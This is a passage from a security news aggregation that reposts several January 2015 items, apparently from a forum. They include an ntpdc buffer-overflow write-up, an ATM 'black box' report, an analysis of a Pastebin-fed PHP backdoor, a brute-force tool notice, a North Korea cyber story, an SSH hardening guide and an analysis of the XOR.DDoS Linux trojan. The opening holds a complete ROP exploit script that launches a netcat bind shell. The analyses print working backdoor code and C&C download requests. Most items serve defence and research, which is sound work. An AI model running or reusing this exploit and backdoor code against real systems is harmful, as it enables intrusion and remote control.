with env -i, giving us a much higher chance of hitting our mark. Overall, this was quite a bit of fun. Although ASLR/PIE still poses an issue, this is a local bug that brute forcing and a little investigation can’t take care of. NX/RELRO/Canary/SSP/ASCII Armor have all been successfully neutralized. I hacked up a PoC that should work on Ubuntu boxes as configured, but it brute forces offsets. Test runs show it can take up to 2 hours to successfully pop a box. Full code can be found below. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38[/TD] [TD=class: code]from os import system, environ from struct import pack import sys # # ntpdc 4.2.6p3 bof # @dronesec # tested on x86 Ubuntu 12.04.5 LTS # IMAGE_BASE = 0x80000000 LD_INITIAL_OFFSET = 8900 LD_TAIL_OFFSET = 1400 sploit = "\x41" * 485 # junk sploit += pack("<I", IMAGE_BASE + 0x000143e0) # eip sploit += "\x41" * 79 # junk sploit += pack("<I", IMAGE_BASE + 0x0002678d) # location -0x14/-0x318 from shellcode ld_pl = "" ld_pl += pack("<I", 0xeeffffff) # ESI ld_pl += pack("<I", 0x11366061) # EDI ld_pl += pack("<I", 0x41414141) # EBP ld_pl += pack("<I", IMAGE_BASE + 0x000138f2) # ADD EDI, ESI; RET ld_pl += pack("<I", IMAGE_BASE + 0x00022073) # CALL EDI ld_pl += pack("<I", 0xbffff60d) # payload addr based on empty env; probably wrong environ["EGG"] = "/bin/nc -lp 5544 -e /bin/sh" for idx in xrange(200): for inc in xrange(200): ld_pl = ld_pl + "\x41" * (LD_INITIAL_OFFSET + idx) ld_pl += "\x43" * (LD_INITIAL_OFFSET + inc) environ["LD_PRELOAD"] = ld_pl system("echo %s | ntpdc 2>&1" % sploit)[/TD] [/TR] [/TABLE] Posted by Bryan Alexander Jan 6th, 2015 Sursa: https://hatriot.github.io/blog/2015/01/06/ntpdc-exploit/

Thieves Jackpot ATMs With ‘Black Box’ Attack Previous stories on KrebsOnSecurity about ATM skimming attacks have focused on innovative fraud devices made to attach to the outside of compromised ATMs. Security experts are now warning about the emergence of a new class of skimming scams aimed at draining ATM cash deposits via a novel and complex attack. The attackers responsible for this “black box” ATM hack relied on a mobile device and a USB-based circuit board. At issue is a form of ATM fraud known as a “black box” attack. In a black box assault, the crooks gain physical access to the top of the cash machine. From there, the attackers are able to disconnect the ATM’s cash dispenser from the “core” (the computer and brains of the device), and then connect their own computer that can be used to issue commands forcing the dispenser to spit out cash. In this particular attack, the thieves included an additional step: They plugged into the controller a USB-based circuit board that NCR believes was designed to fool the ATM’s core into thinking it was still connected to the cash dispenser. “They didn’t have to do this [to get away with the money] but our guess is they thought this component would buy them some time,” before the ATM’s owners figured out something was wrong, said Charlie Harrow, solutions manager for global security at NCR. NCR says the crooks then attached a smart phone (a virgin, out-of-the-box Samsung Galaxy 4), which they used as a conduit through which to send commands to the cash dispenser remotely. According to Harrow, the mobile phone was set up to relay commands through a dynamic IP service. “Which meant that the real attacker sending the commands was somewhere remote from the ATM,” Harrow said. Why would the ATM thieves set it up so that the dispense commands could only be issued remotely, when co-conspirators would still need to be present at the hacked cash machine to retrieve the money? Harrow believes it’s so that the boss running the crime operation can call the shots. “There is no honor among thieves, and these guys will delegate responsibility,” Harrow observed. “That way, you have the Mr. Big back at the hideout who’s sending the commands, and the mules are the ones at the ATMs. So the mule who has the black box is unable to activate the attack unless he gets the command from the Mr. Big, and the mobile phone is the best way to do that.” The mobile phone component also made it difficult for investigators to piece together how the attackers pushed commands through to the cash dispenser. “The mobile phone was simply a pass-through for commands sent from the remote server, so we had no idea about commands being sent to the dispenser,” Harrow recalled. “It took us a while to figure out how they were doing this attack.” NCR notes that black box attacks are one of two “logical” attacks seen so far against ATMs. The other type of logical attack uses malicious software that similarly “jackpots” the cash machine, forcing it to spit out cash. In both cases, the attacks are made possible because thieves are able to physically access the top part of the ATMs where the USB ports are located. “It’s one of two logical attacks we have seen increasing in frequency,” said Owen Wild, NCR’s global marketing director, noting that the company has seen only two black box attacks so far, including this one. “So far we’ve seen far more malware attacks than black box attacks. The ATM malware attack is simpler because you don’t need hardware. But in principle, there’s no reason black box hacks couldn’t become more common.” To help prevent the type of physical access that allows thieves to perpetrate logical attacks, NCR urges customers who plan to deploy cash machines in unattended areas to consider wall-mounted units as opposed to stand-alone units. The company also recently shipped a software update for its ATMs that strengthen the encryption used to manage communications between the cash dispenser and the ATM core. More importantly, the update changes the system so that the encryption key exchange between those two components is only done when the dispenser receives a specific authentication sequence. “All things considered, this is a pretty cheap attack,” Harrow said. “If you know the right commands to send, it’s relatively simple to do. That’s why better authentication needs to be there.” Harrow said the update also makes it so that the underlying firmware which powers the ATM core cannot be rolled back to previous versions of the firmware. According to Harrow, ATM thieves in Mexico did just that in a recent attack that tried to undo security upgrades that were bundled into a recent software update. If you liked this story, check out my ongoing series about ATM skimmers. Sursa: http://krebsonsecurity.com/2015/01/thieves-jackpot-atms-with-black-box-attack/

Website Backdoors Leverage the Pastebin Service By Denis Sinegubko on January 6, 2015 . 2 Comments We continue our series of posts about hacker attacks that exploit a vulnerability in older versions of the popular RevSlider plugin. In this post we’ll show you a different backdoor variant that abuses the legitimate Pastebin.com service for hosting malicious files. Here’s the backdoor code: if(array_keys($_GET)[0] == 'up'){ $content = file_get_contents("http://pastebin . com/raw.php?i=JK5r7NyS"); if($content){unlink('evex.php'); $fh2 = fopen("evex.php", 'a'); fwrite($fh2,$content); fclose($fh2); }}else{print "test";} It’s more or less a typical backdoor. It downloads malicious code from a remote server and saves it in a file on a compromised site, making it available for execution. What makes this backdoor interesting is the choice of the remote server. It’s not being hosted on a hackers’ own site, not even a compromised site — now it’s Pastebin.com — the most popular web application for sharing code snippets. Technically, the criminals used Pastebin for what it was built for – to share code snippets. The only catch is that the code is malicious, and it is used in illegal activity (hacking) directly off of the Pastebin website. Pastebin.com allows users to download the code in “raw” format (i.e. no HTML, no site UI, just the code — note the raw.php part of the URL). Here’s an example of a slightly more elaborate backdoor, uploaded via the RevSlider hole: Code-downloading backdoor from Pastebin In the screenshot, you can see that this code injects content of the Base64-encoded $temp variable at the top of the WordPress core wp-links-opml.php file. You can see the decoded $temp content below: Decoded backdoor that uses pastebin Again, you can see that some code is being downloaded from Pastebin.com, saved to a file and immediately executed. This time this only happens when the attacker provides the Pastebin snippet ID in the wp_nonce_once request parameter (which is also used as a file name when they save the downloaded code). The use of the wp_nonce_once parameter hides the URL of malicious pastes (which makes it difficult to block) and at the same time adds flexibility to the backdoor — now it can download and execute any Pastebin.com snippet — even those that don’t exist at the time of injection — you just need to pass their ID’s in the request to wp-links-opml.php. FathurFreakz encoder I should also mention that Indonesian hackers have an encoder that was made specifically to work with Pastebin.com. It is called PHP Encryptor by Yogyakarta Black Hat or by FathurFreakz. Basically, they create a paste of their PHP code on Pastebin.com and then specify the URL of the code in the encryptor, which then generates obfuscated code that looks like this: Encoded specifically for Pastebin If you decode it, you’ll see this: function FathurFreakz($ct3){ xcurl('http://pastebin.com/download.php?i='.code($ct3)); } FathurFreakz(CODE); This code downloads and executes a Pastebin.com paste (xcurl function) with the ID encrypted in the CODE constant. Here, you can see that they use one more special Pastebin.com URL type, download.php, which acts similarly to raw.php, but also provides HTTP headers to prevent browsers from displaying the content to download it as a file instead. By the way, that hacker group likes using Pastebin.com so much that some of their backdoors look like this (decoded): Pastebin backdoor decoded Hackers and Pastebin Pastebin has a long history of being used by hackers of all ranks. Many hacker groups share data stolen from famous companies via the service. Pastes are being used as an anonymous intermediary storage for data stolen from user computers. Some pastes are known to be used in malware attacks – they may contain encrypted addresses and even base64-encoded malicious binary code. Here’s just a few notable headlines from the last 5 years: 2010 Cloud Keyloggers? by Brian Krebs about data from key loggers on Pastebin.com 2011 Pastebin: How a popular code-sharing site became the ultimate hacker hangout (including the first large Sony hack) 2012 Pastebin: Running the site where hackers publicize their attacks 2013 Pastebin Used as Secondary Downloader for Malware Delivery 2014 Sony hackers release more data, promise ‘Christmas gift’ (data from the recent Sony hack was also published on Pastebin) This time we see relatively massive use of Pastebin in live attacks, which is quite new to us. This also suggests that we, security researchers, should be more careful when sharing malicious code we find in public pastes – it is easy for hackers to reuse them directly from Pastebin.com. It would be a good idea, before sharing, to make some obvious modification to the code that would prevent its execution when downloaded in a raw format. Sursa: Website Security - Backdoors on Pastebin | Sucuri Blog

Crowbar v1.0 Brute Forcing Tool Released Crowbar (crowbar) is brute forcing tool that can be used during penetration tests. It is developed to brute force some protocols in a different manner according to other popular brute forcing tools. As an example, while most brute forcing tools use username and password for SSH brute force, Crowbar uses SSH key. So SSH keys, that are obtained during penetration tests, can be used to attack other SSH servers. Usage -h: Shows help menu. -b: Target service. Crowbar now supports vnckey, openvpn, sshkey, rdp. -s: Target ip address. -S: File name which is stores target ip address. -u: Username. -U: File name which stores username list. -n: Thread count. -l: File name which stores log. Deafault file name is crwobar.log which is located in your current directory -o: Output file name which stores the successfully attempt. -c: Password. -C: File name which stores passwords list. -t: Timeout value. -p: Port number -k: Key file full path. -m: Openvpn configuration file path -d: Run nmap in order to discover whether the target port is open or not. So that you can easily brute to target using crowbar. -v: Verbose mode which is shows all the attempts including fail. More Information: here Download Crowbar v1.0 Thanks to Gökhan Alkan, for sharing this tool with us. Sursa: ToolsWatch.org – The Hackers Arsenal Tools Portal » [New Tool] Crowbar v1.0 Brute Forcing Tool Released

SEOUL, South Korea (AP) — South Korea said Tuesday that rival North Korea has a 6,000-member cyber army dedicated to disrupting the South's military and government, a dramatic increase from an earlier estimate of 3,000 such specialists. Without elaborating, Seoul's Defense Ministry also said in a report that North Korea may also have gained the ability to strike the U.S. mainland because of its progress in missile technology demonstrated in recent long-range missile tests. It also said North Korea is advancing in efforts to miniaturize nuclear warheads to mount on such missiles. There is considerable mystery, and outside debate, about the state of North Korea's opaque nuclear and missile programs, which it has persisted in pursuing for decades despite widespread domestic poverty and heavy international sanctions and criticism. North Korea has conducted three nuclear tests since 2006, the most recent in early 2013, and experts believe it has a handful of crude nuclear bombs. Many outside observers speculate that it has not mastered the technology to make the bombs small enough to put on long-range missiles, although some say it may be able to arm shorter-range missiles with warheads. North Korea has conducted several long-range rocket tests, which are seen as covers for banned tests meant to develop missiles that could hit mainland American shores. North Korea says its launches are meant to put peaceful satellites into orbit, and that its nuclear program is crucial to protecting itself from U.S. hostility. The South Korean Defense Ministry report said North Korea's 6,000 cyber warriors are dedicated to "paralyzing the South psychologically and materially" and have been conducting cyberattacks to disrupt the South's military operations and main government systems. It didn't describe how it made its assessments. The United States accuses North Korea of a cyberattack on Sony Pictures over a movie depicting the fictional assassination of the North's leader, Kim Jong Un. Washington has slapped sanctions on government officials and North Korea's defense industry. There are doubts in the cyber community, however, and North Korea has denied any involvement in the breach of tens of thousands of confidential Sony emails and business files. Former South Korean Defense Minister Kim Kwan-jin said in 2013 that North Korea was operating a cyberwarfare staff of 3,000. South Korea accuses North Korea of conducting at least six high-profile cyberattacks since 2007 and many more unsuccessful attempts to infiltrate computer systems of businesses and government agencies. The Korean Peninsula is still in a technical state of war because the 1950-53 Korean War ended in an armistice, not a peace treaty. There are 28,500 U.S. troops stationed in the South as a deterrent against a North Korean attack. Sursa: South Korea: North Korea has 6,000-member cyber army

Secure Secure Shell 2015-01-04 crypto, nsa, and ssh You may have heard that the NSA can decrypt SSH at least some of the time. If you have not, then read the latest batch of Snowden documents now. All of it. This post will still be here when you finish. My goal with this post here is to make NSA analysts sad. TL;DR: Scan this post for fixed width fonts, these will be the config file snippets and commands you have to use. Warning: You will need a recent (2013 or so) OpenSSH version. The crypto Reading the documents, I have the feeling that the NSA can 1) decrypt weak crypto and 2) steal keys. Let’s focus on the crypto first. SSH supports different key exchange algorithms, ciphers and message authentication codes. The server and the client choose a set of algorithms supported by both, then proceed with the key exchange. Some of the supported algorithms are not so great and should be disabled completely. If you leave them enabled but prefer secure algorithms, then a man in the middle might downgrade you to bad ones. This hurts interoperability but everyone uses OpenSSH anyway. Key exchange There are basically two ways to do key exchange: Diffie-Hellman and Elliptic Curve Diffie-Hellman. Both provide forward secrecy which the NSA hates because they can’t use passive collection and key recovery later. The server and the client will end up with a shared secret number at the end without a passive eavesdropper learning anything about this number. After we have a shared secret we have to derive a cryptographic key from this using a key derivation function. In case of SSH, this is a hash function. DH works with a multiplicative group of integers modulo a prime. Its security is based on the hardness of the discrete logarithm problem. Alice Bob --------------------------- Sa = random Pa = g^Sa --> Pa Sb = random Pb <-- Pb = g^Sb s = Pb^Sa s = Pa^Sb k = KDF(s) k = KDF(s) ECDH works with elliptic curves over finite fields. Its security is based on the hardness of the elliptic curve discrete logarithm problem. Alice Bob --------------------------- Sa = random Pa = Sa * G --> Pa Sb = random Pb <-- Pb = Sb * G s = Sa * Pb s = Sb * Pa k = KDF(s) k = KDF(s) OpenSSH supports 8 key exchange protocols: curve25519-sha256: ECDH over Curve25519 with SHA2 diffie-hellman-group1-sha1: 1024 bit DH with SHA1 diffie-hellman-group14-sha1: 2048 bit DH with SHA1 diffie-hellman-group-exchange-sha1: Custom DH with SHA1 diffie-hellman-group-exchange-sha256: Custom DH with SHA2 ecdh-sha2-nistp256: ECDH over NIST P-256 with SHA2 ecdh-sha2-nistp384: ECDH over NIST P-384 with SHA2 ecdh-sha2-nistp521: ECDH over NIST P-521 with SHA2 We have to look at 3 things here: ECDH curve choice: This eliminates 6-8 because NIST curves suck. They leak secrets through timing side channels and off-curve inputs. Also, NIST is considered harmful and cannot be trusted. Bit size of the DH modulus: This eliminates 2 because the NSA has supercomputers and possibly unknown attacks. 1024 bits simply don’t offer sufficient security margin. Security of the hash function: This eliminates 2-4 because SHA1 is broken. We don’t have to wait for a second preimage attack that takes 10 minutes on a cellphone to disable it right now. We are left with 1 and 5. 1 is better and it’s perfectly OK to only support that but for interoperability, 5 can be included. Recommended /etc/ssh/sshd_config snippet: KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256 Recommended /etc/ssh/ssh_config snippet: Host * KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256 If you chose to enable 5, open /etc/ssh/moduli if exists, and delete lines where the 5th column is less than 2000. If it does not exist, create it: ssh-keygen -G /tmp/moduli -b 4096 ssh-keygen -T /etc/ssh/moduli -f /tmp/moduli This will take a while so continue while it’s running. Authentication The key exchange ensures that the server and the client shares a secret no one else knows. We also have to make sure that they share this secret with each other and not an NSA analyst. There are 4 public key algorithms for authentication: DSA ECDSA Ed25519 RSA Number 2 here involves NIST suckage and should be disabled. Unfortunately, DSA keys must be exactly 1024 bits so let’s disable that as well. Protocol 2 HostKey /etc/ssh/ssh_host_ed25519_key HostKey /etc/ssh/ssh_host_rsa_key This will also disable the horribly broken v1 protocol that you should not have enabled in the first place. We should remove the unused keys and only generate a large RSA key and an Ed25519 key. Your init scripts may recreate the unused keys. If you don’t want that, remove any ssh-keygen commands from the init script. cd /etc/ssh rm ssh_host_*key* ssh-keygen -t ed25519 -f ssh_host_ed25519_key < /dev/null ssh-keygen -t rsa -b 4096 -f ssh_host_rsa_key < /dev/null Generate client keys using the following commands: ssh-keygen -t ed25519 ssh-keygen -t rsa -b 4096 Symmetric ciphers Symmetric ciphers are used to encrypt the data after the initial key exchange and authentication is complete. Here we have quite a few algorithms: 3des-cbc aes128-cbc aes192-cbc aes256-cbc aes128-ctr aes192-ctr aes256-ctr aes128-gcm aes256-gcm arcfour arcfour128 arcfour256 blowfish-cbc cast128-cbc chacha20-poly1305 We have to consider the following: Security of the cipher algorithm: This eliminates 1 and 10-12 - both DES and RC4 are broken. Again, no need to wait for them to become even weaker, disable them now. Key size: At least 128 bits, the more the better. Block size: Does not apply to stream ciphers. At least 128 bits. This elminates 14 because CAST has a 64 bit block size. Cipher mode: The recommended approach here is to prefer AE modes and optionally allow CTR for compatibility. CTR with Encrypt-then-MAC is provably secure. This leaves 5-9 and 15. Chacha20-poly1305 is preferred over AES-GCM because the latter does not encrypt message sizes. Recommended /etc/ssh/sshd_config snippet: Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr Recommended /etc/ssh/ssh_config snippet: Host * Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr Message authentication codes Encryption provides confidentiality, message authentication code provides integrity. We need both. If an AE cipher mode is selected, then extra MACs are not used, the integrity is already given. If CTR is selected, then we need a MAC to calculate and attach a tag to every message. There are multiple ways to combine ciphers and MACs - not all of these are useful. The 3 most common: Encrypt-then-MAC: encrypt the message, then attach the MAC of the ciphertext. MAC-then-encrypt: attach the MAC of the plaintext, then encrypt everything. Encrypt-and-MAC: encrypt the message, then attach the MAC of the plaintext. Only Encrypt-then-MAC should be used, period. Using MAC-then-encrypt have lead to many attacks on TLS while Encrypt-and-MAC have lead to not quite that many attacks on SSH. The reason for this is that the more you fiddle with an attacker provided message, the more chance the attacker has to gain information through side channels. In case of Encrypt-then-MAC, the MAC is verified and if incorrect, discarded. Boom, one step, no timing channels. In case of MAC-then-encrypt, first the attacker provided message has to be decrypted and only then can you verify it. Decryption failure (due to invalid CBC padding for example) may take less time than verification failure. Encrypt-and-MAC also has to be decrypted first, leading to the same kind of potential side channels. It’s even worse because no one said that a MAC’s output can’t leak what its input was. SSH by default, uses this method. Here are the available MAC choices: hmac-md5 hmac-md5-96 hmac-ripemd160 hmac-sha1 hmac-sha1-96 hmac-sha2-256 hmac-sha2-512 umac-64 umac-128 hmac-md5-etm hmac-md5-96-etm hmac-ripemd160-etm hmac-sha1-etm hmac-sha1-96-etm hmac-sha2-256-etm hmac-sha2-512-etm umac-64-etm umac-128-etm The selection considerations: Security of the hash algorithm: No MD5 and SHA1. Yes, I know that HMAC-SHA1 does not need collision resistance but why wait? Disable weak crypto today. Encrypt-then-MAC only: This eliminates the first half, the ones without -etm. You may be forced to enable non-etm algorithms on for some hosts (github). I am not aware of a security proof for CTR-and-HMAC but I also don’t think CTR decryption can fail. Tag size: At least 128 bits. This eliminates umac-64-etm. Key size: At least 128 bits. This doesn’t eliminate anything at this point. Recommended /etc/ssh/sshd_config snippet: MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-ripemd160-etm@openssh.com,umac-128-etm@openssh.com Recommended /etc/ssh/ssh_config snippet: # Github supports neither AE nor Encrypt-then-MAC. Host github.com MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-ripemd160-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-ripemd160,umac-128 Host * MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-ripemd160-etm@openssh.com,umac-128-etm@openssh.com Preventing key theft Even with forward secrecy the secret keys must be kept secret. The NSA has a database of stolen keys - you do not want your key there. System hardening This post is not intended to be a comprehensive system security guide. Very briefly: Don’t install what you don’t need: Every single line of code has a chance of containing a bug. Some of these bugs are security holes. Fewer lines, fewer holes. Use free software: As in speech. You want to use code that’s actually reviewed or that you can review yourself. There is no way to achieve that without source code. Someone may have reviewed proprietary crap but who knows. Keep your software up to date: New versions often fix critical security holes. Exploit mitigation: Sad but true - there will always be security holes in your software. There are things you can do to prevent their exploitation such GCC’s -fstack-protector. One of the best security projects out there is Grsecurity. Use it or use OpenBSD. Traffic analysis resistance Set up Tor hidden services for your SSH servers. This has multiple advantages. It provides an additional layer of encryption and server authentication. People looking at your traffic will not know your IP, so they will be unable to scan and target other services running on the same server and client. Attackers can still attack these services but don’t know if it has anything to do with the observed traffic until they actually break in. Now this is only true if you don’t disclose your SSH server’s fingerprint in any other way. You should only accept connections from the hidden service or from LAN, if required. If you don’t need LAN access, you can add the following line to /etc/ssh/sshd_config: ListenAddress 127.0.0.1:22 Add this to /etc/tor/torrc: HiddenServiceDir /var/lib/tor/hidden_service/ssh HiddenServicePort 22 127.0.0.1:22 You will find the hostname you have to use in /var/lib/tor/hidden_service/ssh/hostname. You also have to configure the client to use Tor. For this, socat will be needed. Add the following line to /etc/ssh/ssh_config: Host *.onion ProxyCommand socat - SOCKS4A:localhost:%h:%p,socksport=9050 Host * ... If you want to allow connections from LAN, don’t use the ListenAddress line, configure your firewall instead. Key storage You should encrypt your client key files using a strong password. Additionally, you can use ssh-keygen -a $number to slow down cracking attempts by iterating the hash function many times. You may want to store them on a pendrive and only plug it in when you want to use SSH. Are you more likely to lose your pendrive or have your system compromised? I don’t know. Unfortunately, you can’t encrypt your server key and it must be always available, or else sshd won’t start. The only thing protecting it is OS access controls. The end It’s probably a good idea to test the changes. ssh -v will print the selected algorithms and also makes problems easier to spot. Be extremely careful when configuring SSH on a remote host. Always keep an active session, never restart sshd. Instead you can send the SIGHUP signal to reload the configuration without killing your session. You can be even more careful by starting a new sshd instance on a different port and testing that. Can you make these changes? If the answer is yes, then… If the answer is no, it’s probably due to compatibility problems. You can try to convince the other side to upgrade their security and turn it into a yes. If you work for a big company and change management doesn’t let you do it, I’m sorry. I’ve seen the v1 protocol enabled in such places. There is no chance of improvement. Give up to preseve your sanity. Special thanks to the people of Twitter for the improvements: @ae_g_i_s @AkiTuomi @cryptomilk @eckes @goulaschcowboy @ioerror @jedisct1 @mathandemotion @ThomasJWaldmann @TimelessP Sursa: https://stribika.github.io/2015/01/04/secure-secure-shell.html

Linux DDoS Trojan hiding itself with an embedded rootkit Peter Kálnai January 6th, 2015 At the end of September 2014, a new threat for the Linux operating system dubbed XOR.DDoS forming a botnet for distributed denial-of-service attacks was reported by the MalwareMustDie! group. The post mentioned the initial intrusion of SSH connection, static properties of related Linux executable and encryption methods used. Later, we realized that the installation process is customized to a victim’s Linux environment for the sake of running an additional rootkit component. In this blog post, we will describe the installation steps, the rootkit itself, and the communication protocol for getting attack commands. Installation Script & Infection Vector The infection starts by an attempt to brute force SSH login credentials of the root user. If successful, attackers gain access to the compromised machine, then install the Trojan usually via a shell script. The script contains procedures like main, check, compiler, uncompress, setup, generate, upload, checkbuild, etc. and variables like __host_32__, __host_64__, __kernel__, __remote__, etc. The main procedure decrypts and selects the C&C server based on the architecture of the system. In the requests below, iid parameter is the MD5 hash of the name of the kernel version. The script first lists all the modules running on the current system by the command lsmod. Then it takes the last one and extracts its name and the parameter vermagic. In one of our cases, the testing environment runs under “3.8.0-19-generic\ SMP\ mod_unload\ modversions\ 686\ “, which has the MD5 hash equal to CE74BF62ACFE944B2167248DD0674977. Three GET requests are issued to C&C. The first one is performed by the check procedure (note the original misspelling): [TABLE] [TR] [TD]request: GET /check?iid=CE74BF62ACFE944B2167248DD0674977&kernel=3.8.0reply: 1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists![/TD] [/TR] [/TABLE] Then compiler procedure issues another GET request in which parameters like C&C servers, version info, etc, are passed to the server where they are compiled into a newly created executable: [TABLE] [TR] [TD]request: GET /compiler?iid=CE74BF62ACFE944B2167248DD0674977&username=admin &password=admin&ip=103.25.9.245:8005%7C103.240.141.50:8005%7C 66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C ndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005 &ver=3.8.0-19-generic%5C%20SMP%5C%20mod_unload%5C%20modversions%5C%20686%5C%20 &kernel=3.8.0 reply: 1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists![/TD] [/TR] [/TABLE] Finally, the third GET request downloads the customized version of the Trojan’s binary in the form of a gzip archive, which is unpacked and executed: [TABLE] [TR] [TD]request: GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz reply: 1001|CE74BF62ACFE944B2167248DD0674977|create ok[/TD] [/TR] [/TABLE] The previous steps run only in the case that there already is a built version for the current kernel version on the server side. If not, the script locates the kernel headers in /lib/modules/%s/build/ directory, where %s means the return value after calling the command uname with parameter r, then packs all files and uploads them to the C&C server using a custom uploader called mini. The steps of the first scenario follows. The rootkit component is a loadable kernel module (LKM). To install it successfully on a system, the vermagic value of LKM needs to agree with the version of the kernel headers installed on the user’s system. That’s the motivation behind previous installation steps. If previous sequences fail, the script installs a Trojan omitting the rootkit component. Structure & Persistence The binary structure of the main executable is as follows: The persistence of the Trojan is achieved in multiple ways. First, it is installed into the /boot/ directory with a random 10-character string. Then a script with the identical name as the Trojan is created in the /etc/init.d directory. It is together with five symbolic links pointing to the script created in /etc/rc%u.d/S90%s, where %u runs from 1 to 5 and %s is substitute with the random. Moreover, a script /etc/cron.hourly/cron.sh is added with the content: [TABLE] [TR] [TD]#!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin’ for i in `cat /proc/net/dev|grep :|awk -F: {‘,27h,’print $1?,27h,’}`; do ifconfig $i up& done cp /lib/udev/udev /lib/udev/debug /lib/udev/debug[/TD] [/TR] [/TABLE] The line “*/3 * * * * root /etc/cron.hourly/cron.sh” is inserted in the crontab. The functionality of the main executable lies in three infinite loops responsible for 1. downloading and executing instructions in a bot’s configuration file, 2. reinstalling itself as the /lib/udev/udev file, and 3. performing flooding commands. The configuration file contains four categories of lists: md5, denyip, filename and rmfile and mean killing a running process based on its CRC checksum, on the active communication with an IP from the list, on a filename, and finally removing a file with a specified name. In the next figure, a fragment of the config file is displayed (known filenames connected with competing flooding Trojans are highlighted): The lists of processes to kill or remove before its own installation is typical for flooding Trojans. Also we have to note that there is a variant of this Trojan compiled for the ARM architecture. This suggests that the list of potentially infected systems (besides 32-bit and 64-bit Linux web servers and desktops) is extended for routers, Internet of Things devices, NAS storages or 32-bit ARM servers (however, it has not been observed in the wild yet). It contains an additional implementation of the download-and-execute feature in an infinite loop called daemondown: A few days ago, a new 32-bit variant of this Trojan with few modifications was observed. The bot is installed as /lib/libgcc4.so file, the unique file containing its identification string (see later) was /var/run/udev.pid, the initialization script was /etc/cron.hourly/udev.sh and the rootkit features were completely omitted. The presence of all these files could serve as an indicator of compromise (IoC). LKM Rootkit Trojans for the Windows platform have used various rootkit features for a very long time. It is known that some trojanized flooding tools had the Windows variant utilizing the Agony rootkit (its source code has been publicly shared and available since 2006). We presented research related to these malicious DDoS tools at Botconf 2014 in a survey called Chinese Chicken: Multiplatform-DDoS-Botnets. Now there is a flooding Trojan for Linux that also contains an embedded rootkit. It’s main functionality is to hide various aspects of the Trojan’s activity and is provided by procedures in the switch table: The Trojan running in the userspace requests these features from the rootkit in the kernel by ioctl command with a specific code (0×9748712). The presence of the rootkit is first checked by opening a process with the name rs_dev: The own request needs two parameters: One specifies the number of the command to be performed by the rootkit, and the other one is the number of the port to be hidden. Below is an example of how the Trojan hides the TCP port (notice the task value 3): Based on the procedure names, it is likely that the malware authors were inspired by the open source project called Suterusu to build up their rootkit. The Trojan from last year called Hand of Thief failed in its ambitions to be the first banking Trojan for Linux desktops. It also borrowed part of its code from an existing open source project, namely methods of process injection. The description of the project says “An LKM rootkit targeting Linux 2.6/3.x on x86(_64), and ARM”. Another article related to Suterusu was published in January 2013. C&C communication The communication is encrypted in both directions with the same hard-coded XOR key (BB2FA36AAA9541F0) as the configuration file. An additional file /var/run/sftp.pid containing an unique magic string of length 32 bytes is stored and utilized as an unique identifier of a victim’s machine within the communication. There is a list of C&C commands, for which the bot listens to: To start flooding, to stop flooding, to download-and-execute, to self-update, to send the MD5 hash of its memory, and to get list of processes to kill: The list of C&Cs is stored in the shell script in the __remote__ variable. The Trojan first sends information about the running system to the C&C server (very likely to be displayed on a panel of a botnet operator). The replies usually arrived in a form of a command. The header of the command is 0x1C bytes long and is stored within a structure called Header. The first command is to stop any flooding attack and the next one to start one with the list of hosts provided. The entries of the Header are shown below. Highlighted parameters are the size of the total size of a command (Size, 0x102C), the task number (Order, 0×3, i.e. _cmd_start in the switch table), and the number of flooding tasks (Task_Num, 0xF): The rest of the flooding command contains an encrypted structure with attack tasks. After decryption, we can see an IP address (red color) and ports (green color) which will be flooded by the Trojan and other parameters of the DDoS attack (e.g. grey color decides the type of attack: SYN/DNS). Acknowledgement Thanks to my colleague, Jaromír Ho?ejší, for cooperation on this analysis. Pop-art was created by the independent digital artist Veronika Begánová. Sources Here are the samples connected with the analysis: [TABLE] [TR] [TD]Install script[/TD] [TD]BA84C056FB4541FE26CB0E10BC6A075585 990F3CE3CDE2B49475022AD5254E5B[/TD] [TD=width: 160]BV:Xorddos-B [Trj][/TD] [/TR] [TR] [TD=width: 109]Xorddos Uploader[/TD] [TD=width: 231]44153031700A019E8F9E434107E4706A705 F032898D3A9819C4909B2AF634F18 [/TD] [TD=width: 160]ELF:Xorddos-J [Trj][/TD] [/TR] [TR] [TD=width: 109]Xorddos Trojan for EM_386[/TD] [TD=width: 231]AD26ABC8CD8770CA4ECC7ED20F37B510E 827E7521733ECAEB3981BF2E4A96FBF[/TD] [TD=width: 160]ELF:Xorddos-A [Trj][/TD] [/TR] [TR] [TD=width: 109]Xorddos Trojan for EM_x86_64[/TD] [TD=width: 231]859A952FF05806C9E0652A9BA18D521E57 090D4E3ED3BEF07442E42CA1DF04B6 [/TD] [TD=width: 160]ELF:Xorddos-A [Trj][/TD] [/TR] [TR] [TD=width: 109]Xorddos Rootkit[/TD] [TD=width: 231]6BE322CD81EBC60CFEEAC2896B26EF015D 975AD3DDA95AE63C4C7A28B7809029 [/TD] [TD=width: 160]ELF:Xorddos-D [Rtk][/TD] [/TR] [TR] [TD=width: 109]Xorddos Trojan for EM_ARM[/TD] [TD=width: 231]49963D925701FE5C7797A728A044F09562 CA19EDD157733BC10A6EFD43356EA0 [/TD] [TD=width: 160]ELF:Xorddos-I [Trj][/TD] [/TR] [TR] [TD=width: 109]Xorddos Trojan no rootkit[/TD] [TD=width: 